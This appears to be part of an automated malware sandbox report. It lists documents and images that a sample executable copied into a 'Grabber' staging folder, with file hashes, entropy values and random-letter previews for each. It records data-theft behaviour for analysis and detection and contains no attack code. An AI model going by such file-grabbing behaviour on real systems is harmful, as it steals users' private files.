                                                                                                                                                                          Preview:JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\PIVFAGEAAV.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.685942106278079
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
                                                                                                                                                                          MD5:3F6896A097F6B0AE6A2BF3826C813DFC
                                                                                                                                                                          SHA1:951214AB37DEA766005DD981B0B3D61F936B035B
                                                                                                                                                                          SHA-256:E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
                                                                                                                                                                          SHA-512:C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\PIVFAGEAAV.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.685942106278079
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
                                                                                                                                                                          MD5:3F6896A097F6B0AE6A2BF3826C813DFC
                                                                                                                                                                          SHA1:951214AB37DEA766005DD981B0B3D61F936B035B
                                                                                                                                                                          SHA-256:E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
                                                                                                                                                                          SHA-512:C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\PIVFAGEAAV\DUUDTUBZFW.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701195573484743
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
                                                                                                                                                                          MD5:2530C45A92F347020337052A8A7D7B00
                                                                                                                                                                          SHA1:7EB2D17587824A2ED8BA10D7C7B05E2180120498
                                                                                                                                                                          SHA-256:8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
                                                                                                                                                                          SHA-512:78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\PIVFAGEAAV\EEGWXUHVUG.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.690299109915258
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
                                                                                                                                                                          MD5:F0D9DE697149ECBC1D88C7EA4841E5BD
                                                                                                                                                                          SHA1:06A2A47C12B3554397AA0C8F483411CAB366947D
                                                                                                                                                                          SHA-256:5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
                                                                                                                                                                          SHA-512:E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\PIVFAGEAAV\EIVQSAOTAQ.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.692024230831571
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
                                                                                                                                                                          MD5:086908C2D2FAA8C9284EAB6D70682A47
                                                                                                                                                                          SHA1:1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
                                                                                                                                                                          SHA-256:40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
                                                                                                                                                                          SHA-512:02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\PIVFAGEAAV\GRXZDKKVDB.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.697358951122591
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
                                                                                                                                                                          MD5:244A1B624BD2C9C3A0D660425CB1F3C6
                                                                                                                                                                          SHA1:FB6C19991CC49A27F0277F54D88B4522F479BE5F
                                                                                                                                                                          SHA-256:E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
                                                                                                                                                                          SHA-512:9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\PIVFAGEAAV\PIVFAGEAAV.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.685942106278079
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
                                                                                                                                                                          MD5:3F6896A097F6B0AE6A2BF3826C813DFC
                                                                                                                                                                          SHA1:951214AB37DEA766005DD981B0B3D61F936B035B
                                                                                                                                                                          SHA-256:E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
                                                                                                                                                                          SHA-512:C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\PWCCAWLGRE.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.6969712158039245
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
                                                                                                                                                                          MD5:31CD00400A977C512B9F1AF51F2A5F90
                                                                                                                                                                          SHA1:3A6B9ED88BD73091D5685A51CB4C8870315C4A81
                                                                                                                                                                          SHA-256:E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
                                                                                                                                                                          SHA-512:0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\PWCCAWLGRE\BNAGMGSPLO.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701704028955216
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
                                                                                                                                                                          MD5:5F97B24D9F05FA0379F5E540DA8A05B0
                                                                                                                                                                          SHA1:D4E1A893EFD370529484B46EE2F40595842C849E
                                                                                                                                                                          SHA-256:58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
                                                                                                                                                                          SHA-512:A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
                                                                                                                                                                          Malicious:false
